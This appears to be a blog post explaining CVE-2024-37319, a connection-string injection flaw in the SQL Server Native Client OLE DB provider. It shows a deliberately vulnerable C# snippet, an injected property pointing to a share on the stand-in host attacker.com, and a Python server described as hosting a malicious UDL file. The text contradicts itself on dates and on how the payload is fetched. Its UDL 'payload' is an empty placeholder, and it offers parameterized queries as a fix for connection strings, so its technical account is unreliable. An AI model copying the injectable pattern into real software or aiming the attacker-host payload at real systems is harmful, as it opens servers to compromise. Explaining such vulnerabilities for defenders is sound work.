On June 11, 2024, Microsoft published a patch and advisory for CVE-2024-37319, a critical remote code execution (RCE) vulnerability affecting the SQL Server Native Client OLE DB provider. If you manage SQL Server or apps that connect using OLE DB, you must understand this flaw, its impact, and how attackers can exploit it.

In this post, I’ll break down CVE-2024-37319 in plain language, show possible exploit code, and list what you should do right now.

What is CVE-2024-37319?

This vulnerability lives in the SQL Server Native Client (SQLNCLI) OLE DB provider, which acts as a bridge for applications that connect to Microsoft SQL Server databases. The flaw allows an attacker to execute their own code with the permissions of the application service if they manage to trick the service into opening a malicious OLE DB connection string.

This could lead to a FULL server compromise if, for example, a web application connects to SQL Server and parses user input into connection strings without enough validation.

Microsoft’s Original Advisory:

- Microsoft Security Guide for CVE-2024-37319

Attack Vector: Remote (network)

- Pre-requisites: Attacker needs the ability to supply or influence connection strings in a vulnerable application

Where is it found?

- Impacted Versions: All applications using unpatched SQL Server Native Client OLE DB provider (Sqlncli11, Sqlncli10, or older)

How Does the Exploit Work?

The core issue is improper handling of connection string properties. If an attacker can inject data into an application’s database connection string, they could slip in special OLE DB properties. Some of these properties can reference local resources, remote shares (UNC), or even load files as part of the connection process.

Suppose your application uses untrusted input as part of the database connection string

// C# vulnerable code
string userInput = GetInputFromWeb(); // Untrusted user input
string connString = $"Provider=SQLNCLI11;Data Source=MyDB;Initial Catalog=AppDB;User ID=sa;Password=Secret;{userInput}";
OleDbConnection conn = new OleDbConnection(connString);
conn.Open();

If userInput contains something like

Extended Properties="Data Source=\\\\attacker.com\\share\\malicious.udl"

The OLE DB provider will try to fetch and process the remote UDL (Universal Data Link) file, letting attackers run their own code or execute malicious actions with the privileges of your app or service.

Here’s a simplified snippet showing how an attacker can fetch a payload

# Attacker side: Serve a malicious UDL file
# Simple Python HTTP server
import http.server
import socketserver

handler = http.server.SimpleHTTPRequestHandler
with socketserver.TCPServer(("", 808), handler) as httpd:
    print("Serving malicious UDL on port 808")
    httpd.serve_forever()

The UDL file, hosted at http://attacker.com:808/malicious.udl, might contain

[oledb]
; Anything here can be crafted for further attacks,
; sometimes referencing DLLs or OLE DB properties

The victim app, on making the OLE DB connection, will "open" and process this file, executing code referenced in it under the server’s security context.

How to Detect if You’re Vulnerable

- Search your codebase for any program building OLE DB *connection strings* with unsanitized user input.

Use defensive coding: Never trust user input for connection properties!

- Check the SQL Server Native Client version using registry or DLL properties. Look for latest build numbers matching the patch.

You can download the latest OLE DB drivers here:

Microsoft OLE DB Driver 18 for SQL Server
- For older SQL Server installations, apply the relevant security update from Windows Update or Microsoft’s website.

Never use unsanitized user input for connection strings—use parameterized queries instead.

3. Restrict outbound traffic from database and application servers to block unsolicited connections to attacker-controlled hosts.

Further References

- Microsoft: CVE-2024-37319
- Download Latest SQL Server Native Client
- Guidance on Secure Connection Strings

Conclusion

CVE-2024-37319 proves that connection string injection remains a serious problem when using legacy providers like OLE DB and SQL Server Native Client. Fixing this bug means not just patching, but also writing safe code and never blindly using untrusted input in sensitive connection logic.

Update your servers and clients NOW and review your code for any unsafe connection string compositions.

*Stay safe and keep your servers under your control—not the attacker's.*


If you want to learn more, follow the official Microsoft guidance and subscribe for security updates.

Timeline

Published on: 07/09/2024 17:15:19 UTC
Last modified on: 09/02/2024 16:18:44 UTC